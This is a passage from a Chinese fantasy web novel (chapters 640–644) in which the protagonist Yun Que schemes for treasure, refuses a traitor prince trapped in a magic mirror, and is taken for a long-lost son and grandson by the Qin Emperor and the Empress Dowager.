水蛇,会不会就是龙镜? “太尉,混元镜那等异宝,会不会被某种气息所吸引,或者对类似的气息生出好感?”云缺继续询问。 “问得好!天地至宝,定有自身的气息存在,比如说地镜,气息浑厚如大地,薄薄一面镜子却重如山峦,而陛下乃是一方大地之主,本身气息便浑厚非凡,如此方可得到地镜认可。” 龙桃神色凝重的解说道:“想要收取三清神镜那种等阶的至宝,若是本身气息不被宝境认可,即便修为再高也难以将其降服,毕竟宝镜乃是道尊遗物,自身通灵,等闲之辈根本无法靠近。” 云缺的目光变得越发明亮起来。 地镜喜欢气息浑厚的强者,那么龙镜按道理应该最喜欢龙气了! 云缺自己身上就有一道龙气存在,就是吃过龙凤丹后形成的小小紫气。 那股紫气,到现在云缺也没发现有什么用途。 如今看来,紫气应该就是龙气无疑,而龙镜幻化的水蛇,正是被紫气所吸引,才对自己极其亲昵。 想到这里,云缺懊悔不已。 当时就该试着收服小水蛇啊! 那可是道尊遗宝,一旦出世,天下修行界会打破脑袋争夺的天下至宝! 就这么被自己完美错过了! 龙桃讲完之后,发现云缺开始自己扯自己头发,丢了几百万两银票似的。 “天一道宗,云州顶尖的修行宗门,怎么会被盗取了镇派之宝?难不成,是陛下偷的?”云缺继续问道。 “怎么会!这话可别乱说,容易惹来是非,天一道宗可不是好对付的,实力不比大秦弱,况且陛下已经有一面混元镜了,何必去招惹道宗,自找麻烦。” 龙桃撇了撇嘴,道:“修行界流传的小道消息而已,未必是真的,也许是道宗放出的风来,另有所图。” 云缺思索了一下,道: “会不会,是道宗得知了龙镜的下落,打算独吞,先放风自家的天镜丢了,等得到龙镜后,再说宝镜失而复得,以龙镜替代天镜,如此一来,就没人知道天一道宗有两块宝镜了。” “然后道宗在寻个由头与大秦结仇,趁着陛下虚弱之际,奇袭而来,打进天龙城,夺走地镜,如此一来,三镜到手,即可组成完整的三清宝镜。” “有了真正的道尊传承,天一道宗即可一统云州,力压所有皇朝与山门,成为真正的云州之主。” 龙桃起初听得不以为意,可听着听着,这位太尉的神色随之变幻起来。 “道宗,向来以正派自居,归隐世外,从不插手天下皇朝之事,按理说,应该不会与大秦结仇才对。”龙桃说得一点底气都没有。 这种局面,他可从来没想过,认为不可能发生。 但是从云缺口中说出来,听着又让人觉得危机感爆棚。 “太尉大人,您糊涂啊!” 云缺苦口婆心的道:“天下派系众多,谁定的修道就是正派?谁定的和尚必须吃斋?谁定的武夫就得没脑子?如果穿道袍就是好人的话,那我小时候和梅钱可是天下第一的大好人,我们没少穿道袍坑人。” “有道理,有道理啊!规矩都是人定的,人无善恶,事无好坏,老夫活了这么多年,还没你一个孩子看得通透,你比老夫强得多。” 云缺这一番话,听得太尉连连点头。 怀璧其罪的道理,龙桃又岂能不懂,他感慨道: “三清神镜只出其二,大秦与道宗自可各自太平,井水不犯河水,一旦第三面龙镜出世,那便是你争我夺的局面,谁也不会善罢甘休,大家都想得到完整的道尊传承,一个和尚挑水喝,两个和尚抬水喝,三个和尚没水喝啊。” 这位大秦太尉,已经预感到了乱象就在不久的未来。 龙镜不出世还好,一旦出世,云州,怕不得就此掀起动荡。 一个星辰殿已经足够恐怖,如果修行界的第一山门再插一脚,大秦怕是永无宁日。 除非交出地镜,或者将天一道宗的天镜夺到手,否则这份因果将不绝不休。 这种怀璧其罪的事,云缺一眼就看得出来,不仅如此,他还能看到解决方案。 “要我说,不如先下手为强!先去天澜宝境夺来龙镜,再派遣大军围困天一道宗,不交出天镜就硬抢,到时候三镜在手,天下我有!” 云缺傲气冲天的说完,立刻毛遂自荐道:“如果太尉觉得这种事有碍名声,大可交给我来办,给我足够的高手,随我进天澜宝境二重,只要龙镜出世,我有三成把握将其夺到手!” “三成把握啊,是不是有点少?”龙桃顺着话茬接了下去,殊不知他早掉进云缺挖的坑里了。 “的确有点少,除非太尉将虎贲军中排在前百的高手尽数给我,应该有五成把握,如果再加上玄龙军中的前百高手,我就有六成把握夺来龙镜!” 云缺信誓旦旦的道:“如果太尉与丞相大人再送我些类似决云剑的至宝,夺来龙镜的把握我能提高到七成,甚至八成!这次豪赌,就看大人舍不得下注了!大秦能否成为云州之主,在此一举啊大人!” 龙桃听得心情激荡,脑子里全都是大秦拥有了三清宝镜之后,平定云州,成为云州霸主的霸气景象。 “确实是个机会啊,机不可失,失不再来……” 龙桃嘀咕了半句,这时屋门被推开。 左兰山冷着脸走了进来,冷哼道: “十赌九输,赢的那次是为了让你心存侥幸,投更多的银子,左老头,你这颗武夫脑袋可以洗一洗切掉扔了,你就听不出来,他用的是赌场庄家的话术吗。” 龙桃恍然大悟,直敲脑袋。 这位太尉终于反应过来了,云缺一而再,再而三的加码,从三成把握加到八成,代价也随着层层拔高。 左兰山冷声道: “驸马好算计,是不是加上我们两个老家伙的全部家当,你就有十成把握夺来龙镜。” “我可没说十成把握,你们的家当全算上至多九成。”云缺没好气的道。 人家正诓太尉呢,你个老狐狸过来凑什么趣儿,真是讨人厌。 如果天澜宝境里的水蛇当真是龙镜幻化,那云缺根本不用费力气就能找到,如此轻松得到至宝,怎么不得多弄点好处,反正大秦财富无数,多捞点是点。 云缺知道自己不可能是太子,大秦也不可能传承给自己,只能换点别的便宜占。 结果老狐狸来了,便宜占不到了。 “混元镜之事,以后再说,陛下的身体要紧,左老头怎么样了,陛下有没有好转一些?”龙桃急迫的问道。 左兰山没理睬龙桃,从怀里取出圣旨,高声宣道: “奉天承运,皇帝诏曰。” 一听圣旨到,龙桃急忙躬身施礼,云缺也无奈的有样学样。 云缺心里嘀咕, 心说皇帝居然有力气下圣旨,看来自己的二斤血应该有效,那么圣旨的内容,大概率是奖赏。 救了皇帝一条命,怎么不得封王封侯,那些虚名云缺都不在乎,只在乎给多少赏钱。 银子肯定拿不出手,至少是灵石,怎么也得两万灵石打底儿吧,一斤血一万灵石,这价格可以接受。 云缺这边正想美事儿呢,就听左兰山念出了圣旨极其简短的内容。 “驸马之血,再来十斤。” 第641章 我从来不和傻笔联手 黄昏时分,皇宫传出消息,召集群臣议事。 皇宫外车水马龙,文武群臣急匆匆相继赶到。 大殿上, 秦皇的脸色依旧苍白,不过语气铿锵有力,气息绵长,精神不错。 群臣议事,商议的要点有两个。 一为少年城归附之事,二为星辰殿这处大敌。 少年城之战的消息,随着安全返回的皇亲贵胄们早已传遍了天龙城。 提及星辰殿的可怕,文武群臣觉得头皮发麻。 能布置出巫神降临这种恐怖的手段,绝非寻常势力能做得到的,强如仙武大秦也要忌惮不已。 少年城的归附倒是好办,太尉亲自请命看管城中少年,挑选合格者并入虎贲军。 让群臣奇怪的是,这次丞相居然没吭声。 如此壮大自身的机会,换在平常,丞相与太尉必定争个鸡飞狗跳。 连丞相都没意见,其他群臣更不敢多言,于是少年城归在了龙桃手下。 在商议如何对抗星辰殿的时候,出现了许多不同的声音。 有人认为斩草除根,有人觉得谨慎为好,有人提出联合大唐等强国一同对抗强敌,也有人觉得以大秦之力可以一举将其攻破。 朝堂上议论纷纷,乱哄哄好不热闹。 群臣在议论之余,还会私下里嘀咕些朝堂趣闻。 “瞧瞧,刚成亲而已,憔悴到如此程度,一看就没娶过媳妇。” “昨晚肯定折腾了整整一宿,年轻人呐,不知节制,早晚有后悔的时候。” “你们这群文官懂什么,这叫英雄难过美人关!咱们武夫的气血比你们旺盛得多,洞房花烛夜自然要痛快一番!” “痛快是痛快了,元气都被吸空喽,若无精神气,与行尸走肉有何区别。” “身子骨儿是自己的,再强的武道也禁不住如此折腾,你瞅瞅,眼圈都黑了,再这么下去,人都废喽。” 今日的朝堂趣闻,只有一个,就是站在人群里,摇摇欲坠的驸马爷。 云缺现在眼窝深陷,面白如纸,头昏脑涨,站在大殿里直打晃儿,一副身体被掏空的虚弱模样。 好似与强敌大战了三天三夜。 刚被抽了十多斤血,能不虚弱么…… 云缺现在连骂娘的力气都没有了,只盼着快点结束大朝会,好去补补身子。 这次食补肯定无效了,至少得吃个几斤灵丹才行。 商议了大半夜,也没议论出个头绪。 最后丞相提议,派出玄龙军精锐搜查大秦境内,找出与星辰殿有关的所有势力,并一举铲除,先保证大秦不再受到影响,等探清星辰殿的老巢在何处,再做打算。 群臣纷纷赞同。 秦皇点头后,将此事交给丞相,宣布退朝。 云缺摇摇晃晃的刚走出大殿,被太监喊住,带到了御书房。 书房里没人,秦皇尚未抵达。 云缺站在屋子里等了会儿,实在太累,也不客气,坐在椅子上休息,顺便打量一番秦皇的书房。 宽敞的书房里,大多是书架,摆满了书籍。 云缺见过不少皇帝,也去过不同的御书房,除了殷子受之外,无论唐皇还是秦皇的御书房,最多的东西肯定是书。 云缺暗暗感慨,皇帝也不好当啊,想要当好,不看书肯定是不行的。 除非当个殷子受那种昏君,不用看书,吃喝玩乐算计人就行了。 关键不看书,算计人都算不明白,容易被人反坑。 云缺的目光落在墙角。 一个黑布罩子,里面不知罩着什么东西。 趁着秦皇没到,云缺掀开罩子,里面是一面古老的铜镜。 地镜! 云缺的目光凝重起来,打量起这面天下至宝。 看外表没什么玄奥之处,就是一面普普通通的铜镜,一人多高,能清晰看到镜子里的自己。 很快云缺发现了不同之处。 自己认真的打量铜镜,镜子里的自己则撇着嘴斜眼瞪着自己。 若非太尉说过地镜的秘密,云缺也得被吓一跳。 既然知道了镜子里的是景王,云缺就当没看见,左摸摸,右敲敲,又试着抬了抬。 先试试重量,以后有机会弄走的时候,自然驾轻就熟。 结果抬不动! 这下云缺惊讶起来。 我可是四品破军的修为,随便一拳轰出就有万钧之力,抬起几万斤的重物轻而易举,居然抬不起一面铜镜! 镜面里的云缺,忽然抬起手开始写字。 ‘帝王之物也敢觊觎,小贼,你胆子不小嘛。’ ‘你我也算有缘,告诉你个隐秘,想要带走此镜,先以精血铺在镜面,再用四品以上气机或者灵气全力灌入。’ ‘只要你气机足够,激发宝镜之力,就有机会成为宝镜的主人,有了此宝,秦皇你也可以不惧!’ ‘怎么样,要不要试试看,没准儿就成功了呢,年轻人就要敢赌,才能收获横财!’ 云缺站在镜子前,看着镜面上的字迹,皱着眉虚弱道: “你这字……好丑哇,没念过几年书吧。” 镜子里的云缺愣怔了一下,接着怒容满面,刷刷点点又写字。 ‘黄口小儿休要无礼!你可知我是谁,胆敢骂我字丑!’ 云缺淡淡一笑,道: “我管你是谁,你爱谁谁!刚见面就坑我放血,等我把镜面铺满精血在全力催动气机,你个老不死的是不是就能出来了,我告诉你孙子,老子这辈子最恨别人让我放血!” “再跟我提放血,信不信我先给你放水!正好还没去茅厕呢,憋得慌。” 镜子里的倒影开始五官挪移,时而是云缺的模样,时而是秦皇的模样,被气得形都要散了。 或许是了解过云缺的所作所为,镜中人到底没敢再提放血俩字。 冷静下来后,镜中人的形态变成了一个陌生男人,一身蟒袍,神态阴鸷,一只眼睛是空的,没有眼球。 此人是景王,云缺很眼熟,曾经在秦皇儿时的记忆中见过。 正是当时带队去废掉秦皇母子的那个皇叔。 云缺并不意外。 这个景王,是秦皇最恨的人,杀他都不解气,于是囚禁在地镜当中,永无超生之日。 镜中的景王无声诡笑,抬手继续写字。 ‘口气够大的,小子,你得管本王叫爹才对。’ “我是你爷爷。”云缺张口就骂。 景王面带冷笑,再次写字。 ‘本王可是你的岳父泰山,赢霏雨乃是我亲生女儿,你娶了宁玉公主,本王,不正是你的岳父么,还不叫爹!’ 云缺惊奇了起来。 随之恍然大悟。 原来三位皇子与公主,是景王生的! 前因后果,自此明了。 秦皇由于某些原因,失去了大部分肉身,也失去了传宗接代的资格,但堂堂帝王岂能无后。 于是秦皇利用景王,留下赢家的血脉。 这件事皇后应该并不知情,除了秦皇与景王之外,没有第三个人知晓,绝对的深宫隐秘。 想通之后,云缺觉得秦皇有点可怜。 自己无法留下后代,又不能让赢氏皇族断了香火,只能借助自己的皇叔留下血脉,甘当那接盘侠,实在窝囊。 谁能想到,仙武大秦的主人,也会有如此凄凉的境遇。 可随后云缺觉得不对劲了。 既然皇子与公主是景王的种,那么算起来就是秦皇的堂兄弟,绝对有血缘关系,怎么血能不融呢? 别说堂兄弟,表亲的血,也能融的呀。 一个念头泛起在脑海,云缺变得愈发惊奇起来,指着镜面道: “你这孙子,你不是先帝的血脉!” 镜中的景王无声大笑,笑得前仰后合,抬手写字。 ‘猜对了!你很聪明嘛小子,本王的女儿能嫁给你不算委屈,哈哈!先帝九子,只有我一个外人而已,亏那赢開把我留在身边,还借我的种来给赢家延续香火,真是瞎了他的心!’ ‘赢氏皇族自此绝后!我看他赢開如何延续大秦,堂堂仙武大秦,早晚会落在外人之手!报应,报应啊哈哈!’ 云缺面无表情的瞥了眼镜子,道: “原来你也是个野种,当初就该扎瞎你两只眼,瞎一只便宜你了。” 景王怒目而视,抬手写字。 ‘女婿,我可是你的岳父泰山!你把我放出来,我们一起夺了皇位!’ ‘不用怕那赢開,我知道他的弱点,只要离开大秦地界,他充其量是个二品武夫。’ ‘你有宝镜在手,加上有我与三位皇子相助,里应外合之下,大秦的天下,早晚是你的!’ 云缺看着镜面上密密麻麻的字迹,沉声道: “你的提议不错,我很动心,但是,我有我的原则。” 景王愣了愣,快速写字。 ‘原则?你到底有什么原则!’ 云缺神色凝重,语气严肃的道:“我从来不和傻笔联手。” 镜中的景王愤怒得如同狮子,开始砸铜镜,怒不可赦,可任凭他如何砸,也传不出半点声音,只能看到个小丑在镜子里手舞足蹈。 景王这种小丑,云缺懒得理睬。 还图谋皇位呢,自己的本体都没了,估计只剩神魂,即便出来了,也是个死鬼。 房门被推开。 一身龙袍的秦皇走了进来。 云缺没来得及罩回黑布,只好当做没事儿人似的往旁边挪了几步,躬身见礼。 瞥了眼云缺,赢開看都没看铜镜,缓步来到龙椅前,落座后,沉声道: “菲雨,不是他生的,你也不是他的女婿。” 此言一出,云缺和镜子里的景王都愣住了。 云缺此时的心里只有一个念头。 血滴子这玩意,以后应该多弄点卖到大秦,肯定是一桩好买卖。 这大秦皇族的关系,也太乱了吧…… 第642章 我娘有这么多风流债吗 云缺自己捋了一下。 秦皇的三个儿子不是亲生的,而是秦皇九叔景王的血脉,相当于三位皇子应该管秦皇叫大哥,而不是叫爹。 景王又不是老皇帝亲生的,他与秦皇其实没有血脉关系,并非叔侄,那么三个皇子也就没有了秦皇这位大哥。 而宁玉公主既不是秦皇所生,也非景王所生,与大秦皇族没有半点关系。 景王好歹算个野种,赢霏雨只能算做陌生人。 那么驸马,就是陌生人之外的路人甲,纯粹是个凑热闹的。 结果到头来,最不可能与秦皇有血脉关联的驸马,却能与秦皇之血融合,路人甲成了皇亲国戚。 云缺在心里发誓,这辈子就没算过这么离谱的账! 这都乱套了…… 镜子里的景王咬牙切齿,快速写字。 ‘你放屁!你自己生不出儿女,求我代劳,你的儿子是我生的!你的女儿也是我生的!他们都是我的种!’ 秦皇挥手抹掉字迹,景王的身影也随时消失,黑布重新罩了回去。 云缺装模作样的站在一旁,垂手而立。 偷看地镜被人家发现了,不知会不会怪罪,不过云缺一点都不怕,抽我十多斤血,照你家镜子不行啊。 屋子里沉默下来,一时间没人开口。 云缺有点站不住了,头晕眼花,强撑着精神问道: “宁玉公主,到底是不是景王之女。” 秦皇沉默了稍许,声音低沉的道: “菲雨的母妃,入宫之前已有身孕,她曾如实告知于朕,但求一死,朕赦她无罪,菲雨才得以降生。” 云缺现在很想挑起大拇指,吼一句你可真大度! 带了别人的种,这种皇妃你也要哇,是不是有点饥不择食了? 转念一想,云缺随之明白了过来。 当时三位皇子均已出生,说明秦皇已经失去了传宗接代的能力,对于公主的母妃是否怀有身孕,也就不那么介意了。 瞄了眼坐在书案后面的秦皇,云缺的心头忽然升起一种怜悯。 这位大秦帝王,实在有点可怜…… “你是不是觉得,朕很可怜。” 秦皇低沉的开口道。 “没有!陛下胸怀宽广,海纳百川,气度恢宏,百无禁忌!”云缺随口拍了一串马屁。 拍完之后回过味儿来,这老家伙喝我血,我拍他作甚! 秦皇摇了摇头,声音低沉的道: “一国之君,岂能无后,不得已而为之,本想留几个赢家血脉,没想到景王居然不是赢家之人,命运,有时便是如此好笑。” 秦皇说着好笑,脸上却没有丝毫笑容存在。 “早就发现了?”云缺问了句。 秦皇缓缓颔首。 云缺不由得替三位皇子有些后怕,秦皇确实大度,居然能将三位皇子留到现在。 如果是赢家的血脉也就罢了,关键那三位跟赢氏皇族根本就不沾边儿! “陛下大度,微臣佩服。”云缺拱了拱手,说的是真心话。 秦皇的气量,实在世间罕见,能做到如此程度,可见人家能屈能伸,真正的大丈夫。 云缺收起了之前的所有鄙夷,很是佩服。 将心比心,如果换成自己,云缺肯定做不到秦皇这种地步,即便不把三个皇子宰了,也会统统赶走,留在身边看着多闹心呐。 “大度与否,与处境有关,人之将死,自然会看淡一切,什么也不在乎了。” 秦皇的语气带着唏嘘之意。 “陛下乃是九五之尊,自当千秋万代,长命百……哎不对吧,陛下看起来精神不错啊,微臣斗胆问一句,陛下还有几年可活?”云缺狐疑道。 秦皇的目光变得复杂起来,默默望着云缺良久,道: “地镜有窥命之力,生命最后的十年寿元,一照便知所剩多少,你没来之前,朕只剩三年寿元,你来之后……地镜不再显示朕之寿元。” 云缺现在脑子发沉,又被赢家的血脉绕了半天,听秦皇说完一时没反应过来,掰着指头算了算。 麻木的抬起头,云缺道: “地镜不显示寿元,就是说,陛下剩余的寿元超过十年了?” “正是。” 秦皇感慨道:“朕的陵墓,前些年已经修好,没想到,居然还能多活些年头,命运,真是个笑话啊,实在有趣,呵呵。” 秦皇的心情不错,居然轻笑出声。 如此表情若被文武群臣看到,非得惊掉下巴不可,大秦帝王可从来没对谁笑过。 秦皇在笑,云缺想哭。 你多活的那些寿元,还不是老子给的! 十多斤血啊,你个吸血老妖! 这话只能在心里骂一骂,毕竟人家是大秦之主,怎么也得给点面子。 “微臣有一事不明,敢问陛下,我们的血,为何能相融?”云缺直截了当问出关键之处。 秦皇沉默了下来,半晌没言语。 云缺也沉默不语,思索着所有的可能。 屋子里的两个人全都绞尽脑汁,到最后谁也没想到真相为何。 因为这件事,太过匪夷所思。 女婿跟老丈人是亲戚,这玩意谁也没见过啊。 半晌过后,秦皇开口道: “只有一个可能,你爹,不是辰龙。” 云缺低着头紧锁眉峰。 这个可能确实存在,但是概率太低太低,几乎万中无一。 云长吉心智如妖,布置那么多年,怎么会在刚开始就出现大意。 秦皇继续问道: “你今年,是不是十九岁。” 云缺愣了下,点了点头。 秦皇猜得没错,云缺今年正好十九,转过年二十岁。 “果然如此……” 秦皇的神色变得复杂起来,道:“二十年前,朕还有血肉之躯的时候,只有过她一个女人,朕不告而别的时候,她一定有了身孕,在来年诞下一子,算起来,正是你这般年纪。” 云缺听得瞠目结舌。 不是,怎么我娘有这么多风流债吗? 大唐有个忆白龙,大秦还有个赢開,然后去大燕嫁给了云长吉…… 这经历有点过于匪夷所思啊! 其实秦皇也不相信自己的女人会嫁给旁人,但云缺就在眼前,赢開不得不信。 除此之外,他找不到任何缘由来解释与云缺的血脉相融。 云缺始终陷在震撼当中,一时间哑口无言。 秦皇沉沉一叹,道: “你娘,如今可好。” “啊,还活着呢。”云缺茫然的随口答道。 秦皇点了点头,叹息道:“是我辜负了她,我的错……” 秦皇说这话的时候,没在用朕,而是用了‘我’字,可见他对那段感情极其自责。 云缺张着嘴,说不出话来。 不是你的错,可能是我的错,我怎么蹦出来这么多爹啊…… 云缺始终觉得不对劲,又不知如何反驳,毕竟自己的血肯定与秦皇有关联,人家能恢复过来就是最好的证明。 秦皇的目光中流露出罕见的柔和之色,对云缺说道: “若有机会,朕想去学宫看望你娘,希望你能做个中间人,缓和一下我们之间的关系。” “哦,好……哎?学宫?”云缺回过神儿来,疑惑道:“去学宫看谁?我娘又没在学宫,她被困在天澜宝境第二重,随时都有生命危险。” “天澜宝境?”秦皇也狐疑起来,道:“距离下次宝境开启还有半年多的时间,几天前,你娘还来过公主府,她怎么又去的天澜宝境?” “公主府?我娘什么时候来过公主府?”云缺狐疑道。 “别以为朕不知道,你觉得那些沙精,当真是树妖结出来的么。”秦皇道。 “原来是你给的沙精啊!”云缺恍然大悟。 难怪上次先生躲在公主府,树公公那老东西无事献殷勤送来沙精,说是结的果子,原来秦皇早就知情,是秦皇吩咐树公公送来的沙精。 沙精之谜解开,云缺更加觉得不对劲了,道: “宓先生是陛下的女人?” 见秦皇点头认可,云缺鼻子差点被气歪了,怒道:“她不是我娘!她就是我先生!我不是宓先生的儿子!” “你不是宓荷之子?”秦皇诧异道:“那你娘是谁。” “白孤晴,大唐郡主!不知陛下认不认得,是不是你的红颜知己?”云缺气哄哄的道。 “白孤晴……”秦皇呢喃着这个陌生的名字,缓缓摇头道:“从未听过这个名字,莫非是宓荷的化名?” 云缺实在说不明白了,从储物袋里把自家亲娘的画像拿出来,几乎贴在秦皇脸上质问。 “看好了!这才是我娘!陛下好好认一认!” 秦皇端详了稍许,摇头道:“不认得,从未见过此人,原来你不是宓荷之子,那我们为何能血脉相连?” 屋子里再次沉默下来,两人各自沉吟不语。 过了不久,云缺心头一动,道: “方向错了!不能总往我这边找,得在陛下那边找一找原因,太后是不是生过其他儿女?” 秦皇脸色一沉,道:“太后只有朕一个儿子,从未改嫁,何来其他子嗣。” “那你爹呢?”云缺也顾不得皇帝不皇帝了,直接询问。 提及太上皇,秦皇的脸色变得更加难看,沉声道: “抛妻弃子的胆小鬼,不提也罢!” 这下云缺着急了,别不提呀,咱俩的血脉谜团,很有可能在你老子身上! 见秦皇愠怒,云缺知道太上皇必然是秦皇心头的一根刺,一段痛苦的回忆。 这一点云缺感同身受,自己老子什么德行,云缺能不知道么。 这一刻,屋子里的两人仿佛同病相怜的病友,齐齐叹了口气。 云缺想了想,提议道: “陛下,微臣想要拜会太后,给老人家请个安。” 第643章 二缺皇帝 云缺如愿以偿,见到了太后。 看到大秦太后之际,云缺总算知道了为何秦皇不肯用生母之血来续命疗伤。 老太后极其虚弱,瘦得皮包骨,卧在床榻上乍一看犹如一具尸体,生机暗淡。 旁边的桌子上摆满了药瓶,全是各类灵丹,大秦太后始终以灵丹吊着最后一口气,时日无多。 这种情况,别说十斤血了,身上多道伤口都有可能一命呜呼,实在太过虚弱。 见皇帝来请安,老太后让宫女们将自己搀扶着坐了起来,浑浊的眼中流露出一种内疚之色。 随后老太后看到了秦皇身边的年轻人,忽然两只手开始颤抖起来,声音虚弱的道: “殿下……” 云缺与秦皇齐齐愣住。 殿下这称呼,从太后口中说出来实在太过奇怪。 老太后艰难的抬起手,想要去拉云缺,可离着太远够不到。 秦皇用目光示意云缺自己过去。 云缺只好来到病榻旁,让老太后抓住自己的手。 “殿下终于回来了,是我没用,没能护住皇儿,让他受苦受难,是我没用啊……” 老太后泪流满面,哭得伤心欲绝。 云缺终于恍然,原来老太后已经糊涂了,错将自己当做了年轻时候的太上皇,难怪叫殿下呢。 确实病得不轻。 秦皇一边替太后擦眼泪,一边解释道: “母后,您看清楚,他是个晚辈。” 老太后揉了揉眼睛,仔细看了看眼前的年轻人,失望的摇了摇头,却始终没松手,道: “好像啊……他年轻的时候也如此英俊,就是眼圈没这么黑……” 云缺不高兴了,我也不是黑眼圈!还不是你儿子吸血吸的! 像? 云缺愣了愣。 难道自己当真与太上皇的容貌相似? 这么说,我有可能是秦皇的亲兄弟了? 想起云长吉的手段,云缺觉得并非没有可能。 辰龙完全可以化身为当年的大秦九子之一,参与过九龙夺嫡,结果以失败而告终,留下了秦皇这个孽种。 这关系就更乱套了…… 云缺自己都觉得不可思议,刚才秦皇觉得是自己的爹,现在咱俩是兄弟,辈分长得好快。 胡思乱想着的云缺,偷偷瞄了眼秦皇。 或许两人心有灵犀,秦皇看到云缺那古怪的目光,就大致猜出了云缺的心思,脸色一沉,瞪了云缺一眼。 云缺装作没看见,对老太后嘘寒问暖,尽显晚辈姿态。 老太后挺好哄的, 听几句好话就笑容满面,吩咐宫女拿来点心给云缺吃,自己也吃了一小块。 虽然太后的举动看着挺正常,但秦皇的眼底却出现了一抹震惊之色。 老太后平常连吃丹药都极其艰难,今天居然自己吃了块点心! “这是哪家王侯的孩子,叫什么名字,有没有爵位呢?” 老太后精神了不少,望向秦皇,大有给云缺求个前程的架势。 云缺刚想道出名号,说出驸马的身份,反正驸马这玩意不能有什么爵位了。 忽然云缺的肩头被秦皇一只手按住,即将出口的话,又憋了回去。 秦皇屏退了屋子里的宫女,目光微微闪动,道: “母后,他叫赢缺,赢家流落在外的遗孤,最近刚刚寻到,特意带回来给母后请安。” 云缺觉得纳闷。 我驸马的身份就这么卑微吗,都见不得人了,提都不能提? 其实云缺并不知道秦皇的心思。 老太后时日无多,整日卧病在床,从来没有今天这么精神过,秦皇觉得十分意外。 太后的病,其实是心病。 否则以仙武大秦的资源,又怎会治不好一个体弱多病的老人。 正是这块心病,折磨了老太后几十年,身体每况愈下,到了如今油尽灯枯的地步。 赢開是孝子,这些年始终到处寻找名医。 天下名医几乎全都来过天龙城,但无一例外的全都束手无策。 身上的病,可以治,但心里的病,别说名医,神医来了也治不好。 今天云缺拜访太后,让秦皇看到了一份希望。 老太后此时的模样,显然有着心病去除的征兆,因为自从登基以来,秦皇基本没见过太后开心过。 哪怕三位皇子来请安,老太后也只是勉强挤出个笑容而已,笑得一点都不自然。 看到太后与云缺说说笑笑,而且明显是发自内心的高兴,秦皇岂能错过这次良机。 驸马怎么都是外人,于是秦皇直接给云缺改了名,就叫赢缺,是赢家血脉,如此一来,太后才能更加开心几分。 果然, 听到流落在外的遗孤这种说法,老太后又抹起了眼泪,拉着云缺不松手,道: “可怜的孩子,命好苦啊,流落在外一定受了许多委屈,回来就好,回来就能享福了,以后谁敢欺负你,我替你做主,这些丹药都是补药,你拿去补身体,不够了还有。” 云缺心里的懊恼随之消失,连连点头称好。 陪着老太太唠嗑,还有这好事儿呢,多了一堆灵丹,正好回去补补血。 云缺当着秦皇的面,把桌子上的丹药瓷瓶收刮一空,看得秦皇直皱眉,你丫的是真不客气啊,逮着个便宜往死里占。 老太后倒是看得高兴,道: “这就对了,外人才虚头巴脑的假客套,一家人就该如此才对,一看就是个心眼儿实诚的好孩子。” 云缺被老太后夸得有点不好意思,腼腆的道: “我其实没有心眼儿,只知道谁对我好,我就对谁好,所以在外面总吃亏。” 咳咳咳…… 旁边的秦皇不知被什么呛得咳嗽了起来。 你没心眼? 你要是没心眼儿,那天底下的活人全是大傻子! “陛下面色不太好,要多休息。”老太后叮嘱了一句。 秦皇点头应是。 “这孩子什么都好,就是名字不好,赢缺,我们赢家不缺东西,你缺了什么,跟我说,全都给你补上。”老太后溺爱的说道。 这下云缺高兴了。 缺! 我什么都缺! 灵丹灵石法器法宝,白银黄金翡翠玛瑙! 你们大秦有什么我就缺什么! 把大秦宝库都补给我,我就不缺了,到时候改个名都没问题,不叫云缺了,就叫云满足! 不等云缺狮子大开口,秦皇先说话了。 “母后不必担忧,他不缺外物,他缺的是父爱。” 不说话不行了,秦皇也怕太后把宝库钥匙给云缺,到时候就不是家里进贼那么简单,而是家里进了个搬迁队,早晚大秦被搬空。 云缺听得直翻白眼。 我是缺父爱,就像你不缺似的! 大家都是苍蝇,为啥非得点明晚餐是屎呢,实在是互戳痛处,互相残杀啊。 “缺父爱?他到底是谁的孩子?”老太后惊奇起来。 “呃……”秦皇看到了老太后眼里的希翼,略一犹豫,道:“我生的。” 咳咳咳…… 这下云缺咳嗽了起来。 你就这么爱当爹呀,我看你不仅缺父爱,你还缺儿子爱! 简直是个二缺皇帝! “好,好哇!” 老太后变得更加高兴,拉着云缺一个劲儿端详,道:“难怪生得这么像太上皇,原来是我的孙儿,那三个皇子没一个像的,就你像啊,好,好孙儿啊。” 云缺心说那三个都是野种,能像太上皇就出鬼了…… 见太后精神头不错,秦皇趁机问道: “母后,我想知道父皇最后离开大秦时的消息,他,到底去了何处。” 提及太上皇,太后的神色立刻变得充满哀怨,摇头叹息道: “他没说,临行前只说此番逃难而去,等躲过此劫,过阵子就回来找我们母子,这一去,就是四十年……” 云缺这时也看了出来,老太后的心病,就是渺无音讯的太上皇。 太后的目光变得茫然起来,望向窗外,呢喃道:“万丰,你究竟是死是活,身在何处,妾身这辈子,怕是等不到你了……” 老太后的痴情,令人为之动容。 秦皇无声的叹息着,这些年他派遣人手暗中寻找过,毫无生父的消息。 以至于秦皇认为,他的生身父亲早已不在人世。 “祖母太后,别伤心了,月有阴晴圆缺,人有悲欢离合,若有缘,一定会相见。” 云缺在旁边安慰道:“我觉得祖父一定还活着,只要祖母太后养好身体,肯定能见到,所以您老要多吃东西,身体才能渐渐好起来。” “说得对,孙儿说得对,去吩咐御厨做些鱼肉,我想吃东西了。”老太后变得精神奕奕,胃口居然也好了起来。 秦皇心里惊奇不已。 最近几年太后始终以丹药为食,水都很少喝,更别提吃东西。 心病果然还需心药医,秦皇大为感慨,心情也随之大好,他觉得云缺这小子虽然心眼儿太多,但对太后来说就是最好的神医。 秦皇亲自出门去吩咐,御厨闻风而动,开始烹饪大餐。 等秦皇转身进门,在门口就听到云缺与太后的对话。 “久病之人不能刚开始就吃大鱼大肉,祖母要先吃点清淡的东西,喝些粥啊汤啊什么的,慢慢来才行。” “好好好,都听孙儿的。” “孙儿没什么能耐,对医道倒是略通几分,吟诗作对也懂点,是个小小的九品儒修,不过武道还可以,已经是破军修为了,可惜没什么资源,进境缓慢。” “你才多大就已经四品修为了?我孙儿真是人中龙凤啊,资源有的是,只要你肯修炼,要什么有什么。” “其实修炼不重要,最重要的是多陪陪家人,先生教过百善孝为先,修为什么的,都应该排在孝字之后。” “小小年纪,居然明事理,懂大义,实在难得,我孙儿有帝王之相啊。” 听到这里,秦皇急忙推门而入,脚步匆匆。 再晚回来一会儿,估计老太后都要帮着封太子了! 第644章 最大的牛皮居然实现了 占点便宜可以,身为大秦之主没那么小气。 但要是占了整个大秦,那秦皇可不干。 赢開现在才真正的意识到,云缺这家伙占便宜的能力估计是天生的。 而且胆大包天,什么便宜都敢占。 